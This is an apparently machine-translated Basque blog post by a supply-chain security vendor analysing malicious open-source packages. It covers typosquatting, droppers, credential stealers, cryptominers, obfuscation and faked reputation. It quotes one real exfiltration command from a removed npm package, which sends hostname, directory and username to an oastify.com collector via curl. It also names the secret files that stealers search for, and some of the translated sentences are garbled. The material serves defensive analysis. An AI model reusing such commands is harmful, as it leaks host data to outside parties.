Pakete gaiztoak 5

Pakete gaiztoen anatomia: Zeintzuk dira joerak?

Aurreko atalean, Kode irekiko pakete gaiztoak: arazoa, mehatxu-egileek zergatik ziren hain gaiztoak eztabaidatu genuen osagai gaizto berriak argitaratzeko edo dauden osagaien azken bertsioetan malwarea txertatzeko gogotsu: Kode irekiko azpiegiturak edonori edonon kontu iragankor bat sortzeko aukera ematen dio osagaien erregistro batean (NPM, PyPI, Docker Hub edo Visual Studio Marketplace bezalakoak) edo garapen kolaboratiboko plataforma batean (GitHub bezalakoak). Zero kostua, eta software taldeek tradizionalki hirugarrenen osagaietan duten gehiegizko konfiantza aprobetxatzeko aukera asko. 

Erasotzaileek kode irekiko azpiegitura erabiliz malwarea banatzeko duten erraztasunaren eta softwarea garatzen duten erakundeek (guztiek?) malwarearekin kutsatzea saihesteko (eta besteentzat banatzen duten softwarean malwarea emateko duten zailtasunaren arteko asimetriak) iaz ia laurden milioi pakete gaiztoen markara iritsi zen. 

Arazo hau hain handia da, ezen inongo erakundek ezin baitu konpondu, eta komunitatea kode irekiko prozesua birformulatzen ari da konfiantza, lehenespenez segurua eta diseinuz segurua printzipioei eta osagaien bizi-zikloari dagokienez. Ideia horiek aztertuko ditugu hurrengo atalean. Kode irekiko pakete gaiztoen aurka babestea: zerk ez du funtzionatzen (eta zerk ez du funtzionatzen).

Gogoratu gehienetan software osagaiei buruz ari garela software paketeak: berrerabilgarriak diren osagaiak paketatuta, software manifestu batean menpekotasun gisa erreferentziatu ahal izateko, eta pakete kudeatzaile edo eraikuntza tresna batekin instalatu. Kontuan izan kasu hau zabaldu daitekeela publikoa barne hartzeko edukiontzi irudiak (edukiontzi-exekuzioek eta Kubernetes bezalako orkestrazio-plataformek erabiltzen dute), eta software tresnen luzapenak (eraikuntzarako, automatizaziorako eta hedapenerako). 

Hemen aztertzen dugu nola hau osagai gaiztoetan oinarritutako eraso taktika funtzionatzen du, iraganeko adibideen eta Malware Goiztiarraren Abisurako gure plataforman ikusi dugunaren arabera (MEW). Osagai gaiztoak dimentsio ezberdinetan aztertuko ditugu: 

(1) banaketarako aukeratutako modua (erabilitako erregistroa, osagai berri edo lehendik dagoen batean, eta argitaratutako osagaiaren bertsioa infektatzeko erabilitako teknika), (2) nola aktibatzen edo eragiten den malwarea, (3) portaera gaiztoa, hau da, zein ekintza kaltegarri ikusten diren eta zein den erasotzailearen motibazioa, (4) zein teknika diren ohikoenak nahasteko, oharkabean pasatzeko ezkutatzeko, alboko mugimendurako, aginte eta kontrol (C2) ostalariekin komunikatzeko, etab.; eta (5) biktimek osagaia instalatzeko behar adina ospea eta konfiantza lortzeko teknikak.

Aukeratutako banaketa mekanismoa

"bat" ikusten duguatzeko zarata"typosquatting-a erabiltzen duten pakete gaizto sofistikatu gabeak, menpekotasunaren izenean akats ortografiko bat duten garatzaile despistatuak phishing egiteko. Pakete ezagun askok antzeko izendun pakete ugari jasotzen dituzte, akats ortografikoak dituztenak, garatzaile despistatu batzuk phishing egingo dituztelakoan." 

Kontu iragankor bat erabiltzen dute, typosquat pakete talde bat argitaratzen dute, beste bat sortzen dute eta beste talde bat argitaratzen dute... Automatizazio eta asmamen pixka bat erabiliz sofistikazio pixka bat lor dezakete, baina normalean nahiko hutsalak dira. Barne-sistema deitzen diegu "antxoaKredentzialak lapurtzea da helburu nagusia, baina noizean behin spywareak iturburu-kodea edo datu sentikorrak erauzten aurkitzen ditugu, hala nola informazio pertsonal identifikagarria (PII), arbeleko kaptura eta bestelako zalantzak.

Bat-batean, osagai gaizto sofistikatuagoak ikusten ditugu, “marrazoak”. Gutxiengo bat talde edo erakunde espezifikoei zuzenduta dago, normalean baldintzapean aktibatzen diren kriptografia-hustugailu edo web-skimmerren bidez, agian ikusitako ikuspegiari jarraituz. gertaera-jarioko gertakaria erasoaren karga deszifratzeko soilik paketea helburu-pakete batetik erreferentziatzen denean. 

Banaketa-mekanismoa artikulu bikain eta gaur egun klasikoan aztertu zen, “Backstabber's Knife Collection: Software Irekiaren Hornikuntza Katearen Erasoen Berrikuspena", irakurri beharrekoa da. Ziur aski taula polit hau lehenago ikusi duzu: 

pakete gaiztoak

Bide guztiak aztertu ziren, pakete berriak eta lehendik zeudenak barne; iturburu-kodeari, eraikuntza-sistemari edo paketatutako osagaiari berari eragitea; lapurtutako kredentzialak edo ingeniaritza soziala erabiltzea; kontu eta biltegi abandonatuak bahitzea edo mantentzen direnak pozoitzea. Eraso batzuek izenak jaso zituzten (Typosquatting, Mendekotasun Nahasmena, Nahasmen agerikoa, Errepo-bahiketa. etab.) eta beste nonbait eztabaidatu ziren jada. 

Zer gertatzen da aukeratutako erregistroekin?

NPMk pakete gaiztoen kopuru osoari dagokionez lidergoa mantentzen du, baina aurten PyPI-n gorakada bat ikusi dugu. Python datu-zientziarako eta makina-ikaskuntzarako ekosistema ezaguna da. Izan ere, malware-dentsitatea handiagoa da orain PyPI-n NPM-n baino. 

Nola aktibatzen den malwarea

Pakete gaiztoak instalazioan zehar 10 kasutik 4tan bakarrik abiarazten dira (azken urteotan 10etik 6ra hurbildu zen). Gainerakoek portaera gaiztoa dute exekuzio-garaian, 100etik 1 probak egiten ari zirela aktibatuta. Badirudi aurkariek badakitela instalazio-skripten exekuzio kontrolatu gabea leku askotan desgaituta zegoela.

Zer lortzen ari dira gaiztoak?

Portaera gaiztoen kategoriak zerrendatuko ditugu, ezagunenak lehenengo. Kontuan izan eragina oso desberdina izan daitekeela: a espeka temati suntsitzailea da, baina ez da ohikoa eta kasu gutxi batzuetan bakarrik ikusi da, zibergerra kanpaina zuzenduekin edo hacktibismo basatiarekin lotuta. Kategoria hauek nahiko ohikoak dira:

  • InfoStealer / Kredentzialak DrainerEraso sofistikatu gabeen % 90 baino gehiago, alde handiz, lapur soilak dira, batez ere pasahitzak, sarbide-tokenak, API gakoak eta gako pribatuak (SSH eta antzekoetarako) bezalako kredentzialak bilatzen dituztenak. Seguruenik idazteko errazena da (garbigailuekin batera?). Fitxategi/direktorio ezagunak eta beste iturri batzuk (adibidez, erregistroko gakoak) zerrendatzen dituzte, edukia paketatzen dute eta datu horiek C2 zerbitzari batera bidaltzen dituzte. Ideia sinplea da: "Phishing kredentzialetarako lapur bat argitaratzen dut, gero kredentzial horiek erabili ahal izateko eraso zuzendu bat abiarazteko". 

Behatzen den C2 sarea normalean merkea eta zikina da, Telegram kanalak edo antzekoak. Ngrok antzeko tunel tresnak (askotan VPN irteerako IPen bidez agerian dauden alderantzizko proxy moduan). Ehunka (!) aukera daude, GitHub-eko proiektu askoren pean daudelarik pasahitza lapurtzen duen gaiaKeylogger bezalako espezializazioak arraroak dira pakete eta edukiontzi irudi gaiztoetarako, baina maizagoak dira tresnen luzapenetan, non erabiltzailearen interakzioa espero den.

  • Jaurtigailua / Deskargatzailea. Bigarren ezagunena, normalean lehenengoa etapa anitzeko erasoetan. Gaiztoen osagaien hirutik batek baino gehiagok deskargatzaileak (paketearen barruan sartzen bada karga gaiztoa) edo deskargatzaileak (zama erasotzailearen kontrolpean dagoen endpoint batetik deskargatzen da). Zama askotan malware bitar aldaera ezagun bat da, eta exekutatu eta batzuetan iraunarazten da, atzeko ateak, spywarea, kriptografia-hustugailuak eta beste erabilera kasu batzuk instalatzeko. Deskargatutako edo zabaldutako zamak bigarren faseko eraso bat hasten du dauden malware bitarrek ematen duten potentzia guztiarekin. Bitarrak paketearen barruan banatu daitezke, askotan irudi edo ustez kaltegabeak diren fitxategi mota gisa mozorrotuta, ustekabeko guneetara konektatzean detekzioa saihesteko. 
  • Kriptomoneta lapurrak / meatzariakFinantza-motibazioko aurkariek zure hodeiko aktiboak kriptomeatzariak exekutatzeko erabiltzeko prest daude (hodeiko VM batean exekutatzen ari diren ere detektatzen dute). Ez zaie axola... irabazi-ratio baxua hodeiko azpiegitura lapurtuagatik biktimari kobratzen zaizkion 53 dolar bakoitzeko dolar 1. Baliteke biktimek ez jakitea horren berri ustekabeko faktura bat jaso arte. Zorionez, hau etorri eta joan egiten da. Cryptojacking Pakete gaiztoetan dauden kanpainak noizean behin agertzen dira eta gero desagertzen dira, zorro-erabiltzaileen phishing-a eginez edo azkenean zorro-hornitzailea helburu hartuta, adibidez Ledger erasoa.   

Beste jokabide batzuk, hala nola, zabaltzea atzeko atea alderantzizko shell bat irekiz urruneko kodea exekutatzeko ohitura ez da lehen baino ohikoagoa orain. Adibidez, 123rf_kolaboratzailea_web paketea (erregistrotik kenduta) nahasmendurik gabe irekitzen da, alderantzizko shell bat kopiatu eta itsatsi da Alderantzizko Oskolaren Txantxa Orria:

pakete gaiztoak 2
Pakete mota gaiztoak ikusi ziren 2024ko ekainaren 24tik 30era bitarteko astean.

Osagai legitimo eta gaiztoez gain, hainbat gehiegikeria ikusi ditugu, besteak beste:

Spam paketeak

Milaka pakete txiki daude, gehienak NPM-n, malwarerik gabe, baina irabazi errazak, suge-olioa, Viagra eskaintzetarako estekak eta horrelakoak agintzen dituztenak. Erabiltzaile gutxi batzuek spam hori argitaratzen dute eta banda-zabalera asko kentzen diote erregistroari. Beste aktore(ek) agian Indonesiakoak izan daitezke onura ateratzeko... teaRank-en gehiegikeriak egitea Kode irekiko garatzaileei konpentsatzeko pentsatua, NPM pakete erlazionatuen hamarnaka mila sortuz, GitHub-eko errepositorio faltsuekin. Erabilera-baldintzen urraketa argia da hau.

Akatsen sarien eta segurtasun ikerketaren iruzurren

 Pakete batek datuak helburu onetarako ateratzen dituela deskribatzen duenean, hala nola akatsen sari-programen segurtasun-akatsak detektatzeko edo ekosistemaren alderdi batzuk ikertzeko. Milaka pakete ikusi ditugu kategoria honetan, PortSwigger-etik Burp Collaborator helbide batera identifikazioa baina ez datu oso sentikorrak jasotzen dituztenak (adibidez, oastify.com domeinuko ostatua). Askotan kopiatzaileak ikusi ditugu... Mendekotasun Nahasmena Alex Birsanek egindako kontzeptu-froga, bezala aurora-webmail-pro paketea (erregistrotik kendua), instalazio aurreko script-ean kode nazkagarri hau exekutatzen duena:

				
					exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done") 

				
			

Eta baita ere barne hartu zuen “Hau da mendekotasun nahasmen eraso sinplearen kontzeptuaren froga"oharra deskribatzeko paketea.jsonZerbitzu-baldintzen urraketa argia da hau, asmo txarrik gabe ere. 

Berri onak? Ez dugu (oraindik) ransomware erasorik ikusi osagai gaiztoen bidez. Arrazoi ezezagunengatik, ziberkriminalek posta elektroniko bidezko phishing tradizionalagoa, RDP oinarritutakoa eta drive-by download entrega mekanismoak nahiago dituztela dirudi. 

Behatutako teknika gehigarriak 

pakete gaiztoak 3

Teknika asko erabili ziren iraunkortasunerako, defentsa saihesteko, informazioa biltzeko, aginte eta kontrol ostalariekin komunikatzeko eta esfiltraziorako. 

Iraunkortasuna Osagai gaiztoetan bigarren faseko malware bitar baten iraunkortasun-ezaugarriak erabiliz lortzen da, baina batzuetan portaera pakete-kodean dago, programatutako zereginak eta Windows erregistroan egindako aldaketak ohikoenak izanik. 

nahastea ohikoa da, baina ez da sofistikatua. Typosquatting pakete gehienak (gogoratu “antxoa"?) ez dute ofuskaziorik erabiltzen; askok hutsalak erabiltzen dituzte (base64/hex kodeketa edo ordezkapen zifraketak, hala nola rot13) edo eskuragarri dauden kode ofuskatzaileak eta txikitzea erabiltzen dituzte, tresna egokiekin erraz alderantzikatu daitezkeenak. "Marrazoek" bakarrik egiten dute benetako ofuskazio gogorra, alderantzizko ingeniaritza zaila duena.

Nahasketak erasoa ezkutatu dezake, baina zergatik nahasi beharko litzateke kode irekiko osagai bateko kodea? Ba al dago ebidentziarik zerbait bistatik ezkutatu behar dela? Jabetza intelektuala babesteko nahasketa erabiltzen duten pakete ez-gaiztoen adibide asko aurkitu ditugu, eta hori "kode irekiko" kontzeptuarekin kontraesanean dago. Nahasketa malwarearen froga gisa erabil daiteke, baina ez da erabakigarria. Zaila da, gainera, desnahastea. 

evasion defentsa-kontroletatik teknika sinpleak erabiltzen dira. Kode gaiztoa askotan babestuta dago saiatu … harrapatu salbuespen guztiak alde batera uzten dituzten blokeak, beraz, jarduera anormala ez da erregistroetan agertzen. Ingurunea egiaztatzea (makina birtual edo edukiontzi batean exekutatzen) arraroa da, erakunde edo ingurune jakin bati zuzendutako malwarea ez bada behintzat.

Irudi eta PDF fitxategietan bitarrak mozorrotzea (esteganografia moduko bat) detekzioa saihesteko erabilitako beste teknika bat izan zen.

Osagai gaizto ohikoenak informazio-lapurrak direnez, datuak biltzeko ezinbestekoa da. Sekretuak (pasahitzak, sarbide-tokenak, API gakoak, gako kriptografikoak) aldizka eskaneatzen dira erregistro-fitxategietan, ingurune-aldagaietan eta baita arbelean ere (banku-troiarrekin eta kripto-lapurrekin ikusten dena). Iturburu-kodearen esfiltrazioa ere ohikoa da, paketeen instalazioa askotan garapen-nodo batean egiten baita, non barneko git biltegiak klonatu daitezkeen. Paketeak direktorioak zerrendatzen ikusi ditugu git biltegien bila. .env, private.pem, settings.py, app.js edo application.properties bezalako kokapenak bilatzea nahiko ohikoa da.

Esfiltrazioa beste ekintza zabalduago bat da. Pakete gaizto gutxi batzuek baino ez dute ateratako datuen helmuga ezkutatzen saiatzen. Telegram kanalak eta Ngrok itxurako tunelak maiz erabiltzen dira. Eta asko daude normalean zerrenda zuriko domeinuak esfiltraziorako erabiltzen dira

Beste teknika batzuk, hala nola pribilegioen eskalada edo alboko mugimendua, ez ziren hain ohikoak. 

Ospea eta konfiantza irabaztea

Imajinatu teknologiako gaizkile bat, gauza gaizto eta hiltzaile batekin, galdetzen: "Nola egin dezaket kaka zati hau ergela susmaezin horientzat fidagarria izan dadin?". 

Horrek esan nahi du nola egin behar den sarrera osagai gaiztoarentzat izar / sardexka asko (ospea lortzeko) erakusteko, gehi bertsio / arazo eta pull requests (jarduerarako). Ideia ospea (izarrak) eta mendekoak fiktizioak lortzea da, eta garrantziari eta mantentzeari buruzko itxura sinesgarria. 

Erregistroak ez du egiaztatzen GitHub proiektu bateko edukia eta paketearen edukia bat datozen.Softwarearen hornikuntza-katean arazo ezaguna da hau. Erregistro publikoak zulo erraldoiak dira, botatzen zaien guztia irensten dutenak. Edozein biltegi estekatu dezakezu. 

pakete gaiztoak 4
Malware potentzialeko ebidentzia banaketa 2024ko ekainaren 24tik 30era bitarteko astean.

Pakete gaiztoak akats ortografiko ezagun bat okupatzen badu, erraza da: erreferentzia egin besterik ez dago GitHub biltegiari paketea sortzeko eta erregistroan argitaratzeko erabilitako mendekotasunen manifestuan. GitHub biltegi faltsu batean dauden pakete berrietarako, asmamen handiagoa beharko duzu, agian pakete faltsuak sortuz. izarren begirada/adarkadura GitHub kontuak script bidez.

Eta zure paketearen edukia biltegiaren antzekoa bada, egin aldaketa ondo diseinatu batzuk hemen eta han... Zure malwarea pakete berri batean txertatu dezakezu, dagoeneko dagoen biltegiari erreferentzia egiten dion pakete ezagun baten antzekoa, eta akats ortografikoen zain egon. Norbaitek paketearen tarball-aren edukia GitHub biltegiko edukiarekin alderatzen ausartzen bada, malware injekzio puntuetako desberdintasunak erraz oharkabean pasa daitezke. Ikuspegi hau askotan ikusi dugu lehenago. 

Osagai batek jatorriari, paketea nola eraiki den, zein iturritatik eta nork eraiki duen buruzko adierazpen bat egiteko mekanismo bat ongi etorria izango litzateke. Baina hori beste istorio bat da. 

X osagaia malwarea al da?

Ba al dago pakete gaiztoen datu-base (osoa) bat? Ez. Kode irekiko ahultasunek CVE ID bat dute esleituta, baina pakete gaizto gutxi batzuei bakarrik ematen zaie (batez ere titularrak ateratzen dituztenei). Pakete gaiztoen CWE hau da: CWE-506 (txertatutako kode gaiztoa). 

Ohiko malware tresnek (VirusTotal, MalwareBazaar, SOREL-20M…) ez dute osagai gaiztoentzako neurri zehatzik hartzen. Ongi etorria litzateke hori!

Ikerketarako lagin-datu-baseak eta analisietarako datu-multzoak daude (horietako batzuk erabiltzen ditugu), baina sarrerak pakete gaiztoa ezagutzen denean bakarrik eguneratzen dira, eta hori askotan beranduegi izaten da. Interesatzen bazaizu, OpenSSF Pakete gaiztoak hasiera polita da.

Hurrengo argitalpenean, pakete jakin bat gaiztoa den ala ez jakingo dugu. Spoiler: bai, badira osagai gaiztoak esposizio-leihoan bertan egiaztatzeko moduak, erregistroak osagai gaizto ezagun bat kendu aurretik.

Gehiago irakurketa

Hurrengo atalean “Kode irekiko pakete gaiztoen aurka babestea: zerk ez du funtzionatzen (eta zerk ez du funtzionatzen)" Kode irekiko segurtasunari dagokionez egin beharrekoak eta ez egitekoak eztabaidatuko ditugu. Segurtasun-arloko profesional gehienek intuizioak dituzte mehatxu honi nola aurre egin, baina ideia okerrak ugariak dira. 

Ideia hauek zergatik diren okerrak aztertuko dugu, eta nola laguntzen duten ideia oker horiek eraso-mekanismo honen ospea lortzen, eta erakundeek jasaten duten arrisku izugarria sortzen. Ondoren, zerk funtzionatzen duen eta zein den beharrezkoa den ahalegina eta baliabideak aztertuko ditugu. 

Era berean, pakete gaiztoen bilakaerari buruz argitaratuko dugu, haien asmoari, injekzio-mekanismoari eta eraso-teknikei dagokienez.

Stay tuned!

Erreferentziak

Kode irekiko pakete gaiztoak: arazoa

OSS pakete gaiztoen aurka babestea: zerk ez duen funtzionatzen (eta zerk ez)

sca-tools-software-konposizio-analisi-tresnak
Lehentasuna eman, konpondu eta babestu zure software arriskuak
Lortu zure doako kontua.
Ez da beharrezkoa kreditu txartelik.

Ziurtatu zure softwarearen garapena eta entrega

Xygeni produktu multzoarekin